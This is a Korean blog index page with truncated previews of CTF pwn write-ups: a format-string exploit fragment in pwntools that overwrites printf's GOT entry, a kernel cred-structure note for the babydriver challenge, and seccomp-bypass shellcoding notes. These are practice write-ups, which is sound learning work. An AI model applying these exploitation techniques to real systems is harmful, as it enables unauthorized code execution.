보호되어 있는 글입니다.
보호되어 있는 글입니다.
보호되어 있는 글입니다.
fsb 연습1일 1pwn으로다가 fsb연습할려고 오늘은 핵씨탭 잡았다.basic_fsb빼고 두번째로 해보는 fsb공격이였다..어려웠는데 재밌었다 You_are_silver binary summary2byte boffsbfrom pwn import * p = remote("ctf.j0n9hyun.xyz", 3022) #p = process("./you_are_silver") e = ELF("./you_are_silver") l = e.libc flag = 0x4006d7 # 4196055 log.info(hex(e.got['printf'])) pay = "%4196055c" + "%8$lln" + "A" + p64(e.got['printf']) pay = pay.ljust(0x2d, 'Z') p..
CISCN ctf - babydriver오랜만에 잡아보는 kernel문제임미다.어제는 문제하나 만드느라 1일 1pwn 패스~ binary summaryshippppppppppppppp tric~fork() -> copy_creds() -> prepare_creds -> kmem_cache_alloc() cred 메모리 할당 사이즈에 맞는 kmalloc슬랩 캐시 인덱스를 선택하는 방법kmema_cache_alloc_trace() => 직접 주소와 사이즈를 주는 방법 쉽게 말해서 실제로 할당하는 루틴이 있는 부분은 저 두함수다.알고가면 좋을 것 같아서 적는다. release close할때는 그냥 device_buf안에 있는 함수를 kfree해준다. ioctl 두번째 인자로 command, 3번째 인자로 si..
christmas ctf - babyseccomp christmas ctf에서 나왔던 babyseccomp이다. 쉘코딩을 잘 못해서 라업의 도움을 조금 받았다 ㅠㅠ binary summary error based shellcoding Exploit vector 전형적인 쉘코딩 문제답게 다음과 같이 seccomp filtering을 설정해주고, 입력받은걸 실행해준다. 여기서 쉘따는건 힘들어보이므로 orw를 해야한다. 바이너리 자체에서 /flag를 open해주기에 우리는 read, write만 수행하면 된다. read read는 다음과 같은 두가지 방법으로 우회할 수 있다. rax = 0x4000000 mmap(1, 0x1000, 4, 1, fd(3), 0, 9) rax = 0x4000000 seccomp ..